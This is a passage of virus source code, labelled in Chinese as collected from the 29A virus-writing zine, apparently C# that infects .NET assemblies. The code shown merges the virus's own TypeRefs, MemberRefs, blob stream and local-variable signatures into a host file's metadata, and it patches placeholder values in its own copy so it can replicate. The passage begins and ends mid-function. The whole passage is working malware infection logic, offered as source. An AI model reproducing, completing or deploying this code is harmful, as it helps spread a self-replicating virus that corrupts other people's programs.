29a-7.002

从29A上收集的病毒源码

                                                Marshal.WriteInt32(rootold, rva, (standalonesigs = BitConverter.ToInt32(rootold, rva)) + 1);

                                                /* copy up to end of host TypeRefs */

                                                Array.Copy(rootold, raw, rootnew, dataoff, baseind = strbase - raw + 4 + skip1 + (typerefs * 6));
                                                raw += baseind;

                                                Int32 trefoff;

                                                /* append our TypeRefs */

                                                /* variable 10: RVA of our TypeRefs
                                                   variable 11: size of our TypeRefs
                                                */

                                                Marshal.Copy(Marshal.ReadIntPtr(ourbase + 0x0a626772, 0), rootnew, trefoff = (dataoff += baseind), 0x0b626772);

                                                /* if the first two AssemblyRefs are "mscorlib" and "System", then we don't need to fix the ResolutionScope indexes */

                                                /* fix up host Name string offset, NameSpace string offset */

                                                /* variable 8: number of our TypeRefs */

                                                baseind = 0x08626772;

                                                do
                                                {
                                                    rva = BitConverter.ToInt32(rootnew, dataoff + 2);
                                                    Marshal.WriteInt32(rootnew, dataoff + 2, (Int32) (((rva + (stringsdelta << 0x10)) & unchecked((Int32) (0xffff0000))) + ((rva + stringsdelta) & 0xffff)));
                                                    dataoff += 6;
                                                }
                                                while (--baseind != 0);

                                                /* copy up to end of host MemberRefs */

                                                Array.Copy(rootold, raw, rootnew, dataoff, baseind = skip2 + (methods * 14) + skip3 + (memberrefs * 6));
                                                raw += baseind;

                                                Int32 methodoff = dataoff + skip2 - 0x14, mrefoff;

                                                /* append our MemberRefs */

                                                /* variable 12: RVA of our MemberRefs
                                                   variable 13: size of our MemberRefs
                                                */

                                                Marshal.Copy(Marshal.ReadIntPtr(ourbase + 0x0c626772, 0), rootnew, mrefoff = (dataoff += baseind), 0x0d626772);

                                                /* variable 14: previous host number of MemberRefs */

                                                Int32 mrefdelta = (memberrefs - 0x0e626772) << 3;

                                                /* variable 15: RVA in our code of variable 14 */

                                                Marshal.WriteInt32(codecopy, 0x0f626772, memberrefs);

                                                /* variable 16: previous host #Blob stream size */

                                                Int32 blobsize, blobdelta = (blobsize = basearr[blobind + 2]) - 0x10626772;

                                                /* variable 17: RVA in our code of variable 16 */

                                                Marshal.WriteInt32(codecopy, 0x11626772, blobsize);

                                                Byte[] ourblob;
                                                Int32  blobbase;

                                                /* make local copy of our #Blob stream */

                                                /* variable 18: size of our #Blob stream
                                                   variable 19: RVA of our #Blob stream
                                                */

                                                Marshal.Copy(Marshal.ReadIntPtr(blobbase = ourbase + 0x13626772, 0), ourblob = new Byte[0x12626772], 0, 0x12626772);

                                                /* variable 20: previous host number of TypeRefs */

                                                Int32 trefdelta = (typerefs - 0x14626772) << 2;

                                                /* variable 21: RVA in our code of variable 20 */

                                                Marshal.WriteInt32(codecopy, 0x15626772, typerefs);

                                                Byte opcode;

                                                /* fix up host Class coded index, Name string offset, Signature blob offset */

                                                /* variable 9: number of our MemberRefs */

                                                baseind = 0x09626772;

                                                do
                                                {
                                                    /* Int64 class does not support & operator
                                                       and not worth finding how to implement it
                                                       so we use two reads for the 48 bits that we need
                                                    */

                                                    Marshal.WriteInt16(rootnew, dataoff, (Int16) (BitConverter.ToInt16(rootnew, dataoff) + mrefdelta));
                                                    rva = BitConverter.ToInt32(rootnew, dataoff + 2);
                                                    Marshal.WriteInt32(rootnew, dataoff + 2, (Int32) (((rva + (blobdelta << 0x10)) & unchecked((Int32) (0xffff0000))) + ((rva + stringsdelta) & 0xffff)));

                                                    /* fix MemberRef token indexes */

                                                    /* variable 22: previous host #Blob stream size (duplicated variable)
                                                       duplicated variables (not constants) require unique declarations
                                                    */

                                                    bitmap = ourblob[strbase = (rva >> 0x10) - 0x16626772] - 1;

                                                    /* variable 23: RVA in our code of variable 22 */

                                                    Marshal.WriteInt32(codecopy, 0x17626772, blobsize);

                                                    strbase += 2;

                                                    do
                                                    {
                                                        if (((opcode = ourblob[strbase]) == 0x1d)
                                                         || ((UInt32) (opcode - 0x0f) <= 3)
                                                           )
                                                        {
                                                            ++strbase;
                                                            --bitmap;

                                                            if ((UInt32) (opcode - 0x11) <= 1)
                                                            {
                                                                ourblob[strbase] += (Byte) (trefdelta);
                                                            }
                                                        }

                                                        ++strbase;
                                                    }
                                                    while (--bitmap != 0);

                                                    dataoff += 6;
                                                }
                                                while (--baseind != 0);

                                                /* copy up to end of host StandAloneSigs */

                                                Array.Copy(rootold, raw, rootnew, dataoff, baseind = skip4 + (standalonesigs * 2));
                                                raw += baseind;

                                                /* append our StandAloneSig */

                                                Int32 blobtotal;

                                                /* variable 18: size of our #Blob stream */

                                                Marshal.WriteInt16(rootnew, dataoff += baseind, (Int16) (blobtotal = blobsize + 0x12626772));

                                                /* check AssemblyRef names
                                                   we require "mscorlib" and "System", case-sensitive, in that order
                                                   to remove the System dependency requires building strings dynamically
                                                   and using the GetMethod() method to load the System.dll at runtime
                                                */

                                                if ((BitConverter.ToInt64(rootold, baseind = (bitmap = basearr[stringsind + 1]) + BitConverter.ToInt16(rootold, raw + skip5 + 0x0e)) == 0x62696C726F63736D)
                                                 && (rootold[baseind + 8] == 0)
                                                 && (BitConverter.ToInt32(rootold, baseind = bitmap + BitConverter.ToInt16(rootold, raw + skip5 + 0x22)) == 0x74737953)
                                                 && ((BitConverter.ToInt32(rootold, baseind + 4) & 0x00ffffff) == 0x00006D65)
                                                   )
                                                {
                                                    Int32 randsig, sigoff, siglen;

                                                    /* choose random host StandAloneSig */

                                                    if (((siglen = rootold[sigoff = basearr[blobind + 1] + (Int32) (BitConverter.ToInt16(rootnew, baseind = dataoff - ((randsig = (new Random((int) (DateTime.Now.Ticks))).Next(standalonesigs) + 1) << 1)))]) & 0x80) != 0)
                                                    {
                                                        siglen = ((siglen & 0x3f) << 8) + rootold[++sigoff];
                                                    }

                                                    /* check that combined #Blob stream < 64kb */

                                                    /* variable 24: size of our locals */

                                                    if ((blobtotal += (rva = siglen + 0x18626772)) <= 0xffff)
                                                    {
                                                        /* copy rest of host #~ stream */

                                                        Array.Copy(rootold, raw, rootnew, dataoff + 2, baseind = basearr[schemaind + 1] + basearr[schemaind + 2] - raw);
                                                        dataoff = (dataoff + baseind + 5) & -4;

                                                        /* update host #Blob stream offset and size */

                                                        Array.Copy(rootold, basearr[blobind], rootnew, hdroff, 0x10);
                                                        Marshal.WriteInt64(rootnew, hdroff, ((Int64) (blobtotal = (blobtotal + 5) & -4) << 0x20) + dataoff);
                                                        hdroff += 0x10;

                                                        /* copy host #Blob stream */

                                                        Byte[] blobnew;

                                                        Array.Copy(rootold, basearr[blobind + 1], blobnew = new Byte[(UInt32) (blobtotal)], 0, strbase = basearr[blobind + 2]);

                                                        /* append our #Blob stream to host #Blob stream */

                                                        Int32 bloboff;

                                                        /* variable 18: size of our #Blob stream */

                                                        Array.Copy(ourblob, 0, blobnew, bloboff = strbase, 0x12626772);
                                                        strbase += 0x12626772;

                                                        /* store combined locals size */

                                                        if (rva > 0xff)
                                                        {
                                                            blobnew[strbase++] = (Byte) ((rva >> 8) | 0x80);
                                                        }

                                                        blobnew[strbase] = (Byte) (rva);
                                                        blobnew[strbase + 1] = 7; /* 7 == IMAGE_CEE_CS_CALLCONV_LOCAL_SIG */

                                                        /* get host locals count */

                                                        if (((blobind = rootold[sigoff += 2]) & 0x80) != 0)
                                                        {
                                                            blobind = ((blobind & 0x3f) << 8) + rootold[++sigoff];
                                                            --siglen;
                                                        }

                                                        /* store combined locals count */

                                                        /* variable 25: number of our locals */

                                                        if ((blobind += 0x19626772) > 0xff)
                                                        {
                                                            blobnew[++strbase + 1] = (Byte) ((blobind >> 8) | 0x80);
                                                        }

                                                        blobnew[strbase + 2] = (Byte) (blobind);

                                                        /* copy host locals */

                                                        Array.Copy(rootold, sigoff + 1, blobnew, strbase + 3, siglen - 2);

                                                        /* append our locals */

                                                        /* variable 24: size of our locals
                                                           variable 26: RVA within our #Blob stream of our locals
                                                        */

                                                        Marshal.Copy(Marshal.ReadIntPtr(blobbase + 0x1a626772, 0), blobnew, strbase += siglen + 1, 0x18626772);